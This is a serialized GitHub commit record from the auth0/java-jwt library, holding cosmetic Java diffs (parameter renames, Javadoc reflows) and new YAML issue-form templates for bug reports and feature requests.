             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return arr;
     }
 
     @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
         if (!data.isArray()) {
             return null;
         }
 
         List<T> list = new ArrayList<>();
         for (int i = 0; i < data.size(); i++) {
             try {
-                list.add(objectReader.treeToValue(data.get(i), tClazz));
+                list.add(objectReader.treeToValue(data.get(i), clazz));
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return list;
@@ -124,11 +124,11 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     }
 
     @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T as(Class<T> clazz) throws JWTDecodeException {
         try {
-            return objectReader.treeAsTokens(data).readValueAs(tClazz);
+            return objectReader.treeAsTokens(data).readValueAs(clazz);
         } catch (IOException e) {
-            throw new JWTDecodeException("Couldn't map the Claim value to " + tClazz.getSimpleName(), e);
+            throw new JWTDecodeException("Couldn't map the Claim value to " + clazz.getSimpleName(), e);
         }
     }
 u}(j  (2975b51b9fb875b4db65a512ee1811cca06ae834j  3lib/src/main/java/com/auth0/jwt/impl/NullClaim.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -53,12 +53,12 @@ public Instant asInstant() {
     }
 
     @Override
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 
     @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 
@@ -68,7 +68,7 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     }
 
     @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T as(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 u}(j  (09009267b7bfa876ce97011093b534ecff946b2aj  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -16,10 +16,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Payload parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class PayloadDeserializer extends StdDeserializer<Payload> {
 
@@ -80,7 +80,8 @@ Instant getInstantFromSeconds(Map<String, JsonNode> tree, String claimName) {
             return null;
         }
         if (!node.canConvertToLong()) {
-            throw new JWTDecodeException(String.format("The claim '%s' contained a non-numeric date value.", claimName));
+            throw new JWTDecodeException(
+                    String.format("The claim '%s' contained a non-numeric date value.", claimName));
         }
         return Instant.ofEpochSecond(node.asLong());
     }u}(j  (75e794740101e98f1d9fc9ad211938dbcc7d88b3j  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X9  @@ -13,10 +13,10 @@
 
 /**
  * Decoder of string JSON Web Tokens into their POJO representations.
- *
- * @see Payload
  * <p>
  * This class is thread-safe.
+ *
+ * @see Payload
  */
 class PayloadImpl implements Payload, Serializable {
 
@@ -32,7 +32,17 @@ class PayloadImpl implements Payload, Serializable {
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
 
-    PayloadImpl(String issuer, String subject, List<String> audience, Instant expiresAt, Instant notBefore, Instant issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    PayloadImpl(
+            String issuer,
+            String subject,
+            List<String> audience,
+            Instant expiresAt,
+            Instant notBefore,
+            Instant issuedAt,
+            String jwtId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.issuer = issuer;
         this.subject = subject;
         this.audience = audience != null ? Collections.unmodifiableList(audience) : null;u}(j  (dc138c08a7000dd079c83e95326b6bd5c9ff7aa6j  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -10,10 +10,10 @@
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
- *
- * @see com.auth0.jwt.JWTCreator
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.JWTCreator
  */
 public class PayloadSerializer extends ClaimsSerializer<PayloadClaimsHolder> {
     public PayloadSerializer() {
@@ -47,7 +47,7 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
                 List<?> audList = (List<?>) e.getValue();
                 for (Object aud : audList) {
                     if (aud instanceof String) {
-                        audArray.add((String)aud);
+                        audArray.add((String) aud);
                     }
                 }
             }u}(j  (ea166b0d337191043019e43d588b53e66328dd9cj  6lib/src/main/java/com/auth0/jwt/impl/PublicClaims.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  @@ -1,6 +1,8 @@
 package com.auth0.jwt.impl;
 
-
+/**
+ * Contains the claim name for all Public claims.
+ */
 public interface PublicClaims {
 
     //Headeru}(j  (fdfac71580fa87b9691de8af4c4df2ee4cc61dd2j  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj  modifiedj  Kj  Kj  K
j  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X$  @@ -81,23 +81,24 @@ default Instant asInstant() {
     /**
      * Get this Claim as an Array of type T.
      * If the value isn't an Array, null will be returned.
+     *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as an Array or null.
      * @throws JWTDecodeException if the values inside the Array can't be converted to a class T.
      */
-    <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException;
+    <T> T[] asArray(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a List of type T.
      * If the value isn't an Array, null will be returned.
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as a List or null.
      * @throws JWTDecodeException if the values inside the List can't be converted to a class T.
      */
-    <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException;
+    <T> List<T> asList(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a generic Map of values.
@@ -111,9 +112,9 @@ default Instant asInstant() {
      * Get this Claim as a custom type T.
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as instance of T.
      * @throws JWTDecodeException if the value can't be converted to a class T.
      */
-    <T> T as(Class<T> tClazz) throws JWTDecodeException;
+    <T> T as(Class<T> clazz) throws JWTDecodeException;
 }u}(j  (e1c6efccb4d86a33d5514ef4ca24321333e101cej  >lib/src/main/java/com/auth0/jwt/interfaces/JWTPartsParser.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X{  @@ -3,7 +3,8 @@
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
 /**
- * The JWTPartsParser class defines which parts of the JWT should be converted to it's specific Object representation instance.
+ * The JWTPartsParser class defines which parts of the JWT should be converted
+ * to it's specific Object representation instance.
  */
 public interface JWTPartsParser {
 u}(j  (3555878e0c55c7ada151e3eaf5db85d6b8988cb4j  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -3,10 +3,13 @@
 import com.auth0.jwt.exceptions.JWTVerificationException;
 
 
+/**
+ * Used to verify the JWT for it's signature and claims.
+ */
 public interface JWTVerifier {
 
     /**
-     * Performs the verification against the given Token
+     * Performs the verification against the given Token.
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
@@ -15,7 +18,7 @@ public interface JWTVerifier {
     DecodedJWT verify(String token) throws JWTVerificationException;
 
     /**
-     * Performs the verification against the given decoded JWT
+     * Performs the verification against the given decoded JWT.
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.u}(j  (fd8baea572026be86905bce48884192709f82490j  ;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -14,7 +14,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     /**
      * Getter for the Public Key instance with the given Id. Used to verify the signature on the JWT verification stage.
      *
-     * @param keyId the Key Id specified in the Token's Header or null if none is available. Provides a hint on which Public Key to use to verify the token's signature.
+     * @param keyId the Key Id specified in the Token's Header or null if none is available.
+     *              Provides a hint on which Public Key to use to verify the token's signature.
      * @return the Public Key instance
      */
     U getPublicKeyById(String keyId);
@@ -27,7 +28,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     R getPrivateKey();
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This represents the `kid` claim and will be placed in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This represents the `kid` claim and will be placed in the Header.
      *
      * @return the Key Id that identifies the Private Key or null if it's not specified.
      */u}(j  (071b3e9ca2bab5b872d22bdbcdee2e23a10695edj  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -60,7 +60,7 @@ default Verification withIssuer(String issuer) {
      * will have to provide their own implementation.
      *
      * The default implementation throws an {@linkplain UnsupportedOperationException}.
-     * 
+     *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
@@ -69,8 +69,8 @@ default Verification withAnyOfAudience(String... audience) {
     }
     
     /**
-     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
-     * Setting a specific leeway value on a given Claim will override this value for that Claim.
+     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims
+     * will still be valid. Setting a specific leeway value on a given Claim will override this value for that Claim.
      *
      * @param leeway the window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
      * @return this same Verification instance.
@@ -80,7 +80,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Expires At ("exp") Claim will still be valid.
-     * Expiration Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Expiration Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Expires At Claim will still be valid.
      * @return this same Verification instance.
@@ -90,7 +91,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Not Before ("nbf") Claim will still be valid.
-     * Not Before Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Not Before Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Not Before Claim will still be valid.
      * @return this same Verification instance.
@@ -101,8 +103,10 @@ default Verification withAnyOfAudience(String... audience) {
     /**
      * Set a specific leeway window in seconds in which the Issued At ("iat") Claim will still be valid.
      * This method overrides the value set with {@link #acceptLeeway(long)}.
-     * By default, the Issued At claim is always verified when the value is present, unless disabled with {@link #ignoreIssuedAt()}.
-     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed, and this method has no effect.
+     * By default, the Issued At claim is always verified when the value is present,
+     * unless disabled with {@link #ignoreIssuedAt()}.
+     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed,
+     * and this method has no effect.
      *
      * @param leeway the window in seconds in which the Issued At Claim will still be valid.
      * @return this same Verification instance.
@@ -120,6 +124,7 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Require a claim to be present, with any value.
+     *
      * @param name the Claim's name.
      * @return this same Verification instance
      * @throws IllegalArgumentException if the name is null.
@@ -177,8 +182,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
-     * date-time claim value, any time units more granular than seconds will not be considered.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
@@ -188,8 +193,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
-     * a date-time claim value, any time units more granular than seconds will not be considered.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying a date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.u}(j  (77d573bc09ed60e1bcbf803ac3f8d4807fac4e87j  9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://github.com/auth0/java-jwt/raw/75833e6d422206ec64e6215bdf0e940aa1c16239/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj
  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=75833e6d422206ec64e6215bdf0e940aa1c16239j  X  @@ -71,12 +71,12 @@ public Date asDate() {
         }
 
         @Override
-        public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+        public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
             return null;
         }
 
         @Override
-        public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+        public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
             return null;
         }
 ueu(1e00f2f374605dfffce47ac9aafc86139228a2bf}(sha(1e00f2f374605dfffce47ac9aafc86139228a2bfnode_idEC_kwDOAQtL0doAKDFlMDBmMmYzNzQ2MDVkZmZmY2U0N2FjOWFhZmM4NjEzOTIyOGEyYmYcommit}(author}(nameRita Zerrizuelaemailzeta@widcket.comdate2023-04-26T00:46:25Zu	committer}(j8  Rita Zerrizuelaj:  zeta@widcket.comj<  2023-04-26T00:46:25Zumessage(Replace issue templates with issue formstree}(j0  (aad8d4b81797a85eed53306a7957786d4ebe485furl^https://api.github.com/repos/auth0/java-jwt/git/trees/aad8d4b81797a85eed53306a7957786d4ebe485fujH  `https://api.github.com/repos/auth0/java-jwt/git/commits/1e00f2f374605dfffce47ac9aafc86139228a2bf
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujH  \https://api.github.com/repos/auth0/java-jwt/commits/1e00f2f374605dfffce47ac9aafc86139228a2bfhtml_urlQhttps://github.com/auth0/java-jwt/commit/1e00f2f374605dfffce47ac9aafc86139228a2bfcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1e00f2f374605dfffce47ac9aafc86139228a2bf/commentsj6  }(loginWidcketidJ-%M j2  MDQ6VXNlcjUwNTU3ODk=
avatar_url3https://avatars.githubusercontent.com/u/5055789?v=4gravatar_idh3jH  $https://api.github.com/users/WidcketjT  https://github.com/Widcket
followers_url.https://api.github.com/users/Widcket/followers
following_url;https://api.github.com/users/Widcket/following{/other_user}	gists_url4https://api.github.com/users/Widcket/gists{/gist_id}starred_url;https://api.github.com/users/Widcket/starred{/owner}{/repo}subscriptions_url2https://api.github.com/users/Widcket/subscriptionsorganizations_url)https://api.github.com/users/Widcket/orgs	repos_url*https://api.github.com/users/Widcket/repos
events_url5https://api.github.com/users/Widcket/events{/privacy}received_events_url4https://api.github.com/users/Widcket/received_eventstypeUser
site_adminuj>  }(jY  Widcketj[  J-%M j2  MDQ6VXNlcjUwNTU3ODk=j]  3https://avatars.githubusercontent.com/u/5055789?v=4j_  h3jH  $https://api.github.com/users/WidcketjT  https://github.com/Widcketjb  .https://api.github.com/users/Widcket/followersjd  ;https://api.github.com/users/Widcket/following{/other_user}jf  4https://api.github.com/users/Widcket/gists{/gist_id}jh  ;https://api.github.com/users/Widcket/starred{/owner}{/repo}jj  2https://api.github.com/users/Widcket/subscriptionsjl  )https://api.github.com/users/Widcket/orgsjn  *https://api.github.com/users/Widcket/reposjp  5https://api.github.com/users/Widcket/events{/privacy}jr  4https://api.github.com/users/Widcket/received_eventsjt  Userjv  uparents]}(j0  (82548a6e7b69ad0c6974519c9ebb313d15237cadjH  \https://api.github.com/repos/auth0/java-jwt/commits/82548a6e7b69ad0c6974519c9ebb313d15237cadjT  Qhttps://github.com/auth0/java-jwt/commit/82548a6e7b69ad0c6974519c9ebb313d15237caduastats}(totalK݌	additionsKz	deletionsKcufiles](}(j0  (d5d861e0e778208776ff39460ed132b0f41d52effilename%.github/ISSUE_TEMPLATE/Bug Report.ymlstatusaddedj  KCj  K changesKCblob_url{https://github.com/auth0/java-jwt/blob/1e00f2f374605dfffce47ac9aafc86139228a2bf/.github%2FISSUE_TEMPLATE%2FBug%20Report.ymlraw_urlzhttps://github.com/auth0/java-jwt/raw/1e00f2f374605dfffce47ac9aafc86139228a2bf/.github%2FISSUE_TEMPLATE%2FBug%20Report.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2FBug%20Report.yml?ref=1e00f2f374605dfffce47ac9aafc86139228a2bfpatchX 
  @@ -0,0 +1,67 @@
+name: 🐞 Report a bug
+description: Have you found a bug or issue? Create a bug report for this library
+labels: ["bug"]
+
+body:
+  - type: markdown
+    attributes:
+      value: |
+        **Please do not report security vulnerabilities here**. The [Responsible Disclosure Program](https://auth0.com/responsible-disclosure-policy) details the procedure for disclosing security issues.
+
+  - type: checkboxes
+    id: checklist
+    attributes:
+      label: Checklist
+      options:
+        - label: I have looked into the [Readme](https://github.com/auth0/java-jwt#readme) and [Examples](https://github.com/auth0/java-jwt/blob/master/EXAMPLES.md), and have not found a suitable solution or answer.
+          required: true
+        - label: I have looked into the [API documentation](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html) and have not found a suitable solution or answer.
+          required: true
+        - label: I have searched the [issues](https://github.com/auth0/java-jwt/issues) and have not found a suitable solution or answer.
+          required: true
+        - label: I have searched the [Auth0 Community](https://community.auth0.com) forums and have not found a suitable solution or answer.
+          required: true
+        - label: I agree to the terms within the [Auth0 Code of Conduct](https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md).
+          required: true
+
+  - type: textarea
+    id: description
+    attributes:
+      label: Description
+      description: Provide a clear and concise description of the issue, including what you expected to happen.
+    validations:
+      required: true
+
+  - type: textarea
+    id: reproduction
+    attributes:
+      label: Reproduction
+      description: Detail the steps taken to reproduce this error, and whether this issue can be reproduced consistently or if it is intermittent.
+      placeholder: |
+        1. Step 1...
+        2. Step 2...
+        3. ...
+    validations:
+      required: true
+
+  - type: textarea
+    id: additional-context
+    attributes:
+      label: Additional context
+      description: Other libraries that might be involved, or any other relevant information you think would be useful.
+    validations:
+      required: false
+
+  - type: input
+    id: environment-version
+    attributes:
+      label: java-jwt version
+    validations:
+      required: true
+
+  - type: input
+    id: environment-java-version
+    attributes:
+      label: Java version
+    validations:
+      required: trueu}(j0  (38fee43305eaed439d34288d73b42c783f6ad714j  *.github/ISSUE_TEMPLATE/Feature Request.ymlj  addedj  K5j  K j  K5j  https://github.com/auth0/java-jwt/blob/1e00f2f374605dfffce47ac9aafc86139228a2bf/.github%2FISSUE_TEMPLATE%2FFeature%20Request.ymlj  https://github.com/auth0/java-jwt/raw/1e00f2f374605dfffce47ac9aafc86139228a2bf/.github%2FISSUE_TEMPLATE%2FFeature%20Request.ymlj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2FFeature%20Request.yml?ref=1e00f2f374605dfffce47ac9aafc86139228a2bfj  X  @@ -0,0 +1,53 @@
+name: 🧩 Feature request
+description: Suggest an idea or a feature for this library
+labels: ["feature request"]
+
+body:
+  - type: checkboxes
+    id: checklist
+    attributes:
+      label: Checklist
+      options:
+        - label: I have looked into the [Readme](https://github.com/auth0/java-jwt#readme) and [Examples](https://github.com/auth0/java-jwt/blob/master/EXAMPLES.md), and have not found a suitable solution or answer.
+          required: true
+        - label: I have looked into the [API documentation](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html) and have not found a suitable solution or answer.
+          required: true
+        - label: I have searched the [issues](https://github.com/auth0/java-jwt/issues) and have not found a suitable solution or answer.
+          required: true
+        - label: I have searched the [Auth0 Community](https://community.auth0.com) forums and have not found a suitable solution or answer.
+          required: true
+        - label: I agree to the terms within the [Auth0 Code of Conduct](https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md).
+          required: true
+
+  - type: textarea
+    id: description
+    attributes:
+      label: Describe the problem you'd like to have solved
+      description: A clear and concise description of what the problem is.
+      placeholder: I'm always frustrated when...
+    validations:
+      required: true
+
+  - type: textarea
+    id: ideal-solution
+    attributes:
+      label: Describe the ideal solution
+      description: A clear and concise description of what you want to happen.
+    validations:
+      required: true
+
+  - type: textarea
+    id: alternatives-and-workarounds
+    attributes:
+      label: Alternatives and current workarounds
+      description: A clear and concise description of any alternatives you've considered or any workarounds that are currently in place.
+    validations:
+      required: false
+
+  - type: textarea
+    id: additional-context
+    attributes:
+      label: Additional context
+      description: Add any other context or screenshots about the feature request here.
+    validations:
+      required: falseu}(j0  (f58e0249f5a49b2b53e690410d3bae89222c50e0j  !.github/ISSUE_TEMPLATE/config.ymlj  modifiedj  Kj  Kj  Kj  uhttps://github.com/auth0/java-jwt/blob/1e00f2f374605dfffce47ac9aafc86139228a2bf/.github%2FISSUE_TEMPLATE%2Fconfig.ymlj  thttps://github.com/auth0/java-jwt/raw/1e00f2f374605dfffce47ac9aafc86139228a2bf/.github%2FISSUE_TEMPLATE%2Fconfig.ymlj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2Fconfig.yml?ref=1e00f2f374605dfffce47ac9aafc86139228a2bfj  X  @@ -1,8 +1,5 @@
 blank_issues_enabled: false
 contact_links:
   - name: Auth0 Community
-    url: https://community.auth0.com/c/sdks/5
-    about: Discuss this SDK in the Auth0 Community forums
-  - name: Library Documentation
-    url: https://github.com/auth0/java-jwt/blob/master/README.md
-    about: Read the library documentation
+    url: https://community.auth0.com
+    about: Discuss this library in the Auth0 Community forumsu}(j0  (68352ba23dd778b6ab39394b4aa91d6572bd4f35j  ).github/ISSUE_TEMPLATE/feature_request.mdj  removedj  K j  K'j  K'j  }https://github.com/auth0/java-jwt/blob/82548a6e7b69ad0c6974519c9ebb313d15237cad/.github%2FISSUE_TEMPLATE%2Ffeature_request.mdj  |https://github.com/auth0/java-jwt/raw/82548a6e7b69ad0c6974519c9ebb313d15237cad/.github%2FISSUE_TEMPLATE%2Ffeature_request.mdj  https://api.github.com/repos/auth0/java-jwt/contents/.github%2FISSUE_TEMPLATE%2Ffeature_request.md?ref=82548a6e7b69ad0c6974519c9ebb313d15237cadj  X  @@ -1,39 +0,0 @@
----
-name: Feature request
-about: Suggest an idea or a feature for this project
-title: ''
-labels: feature request
-assignees: ''
----
-
-<!--
-**Please do not report security vulnerabilities here**. The Responsible Disclosure Program (https://auth0.com/whitehat) details the procedure for disclosing security issues.
-
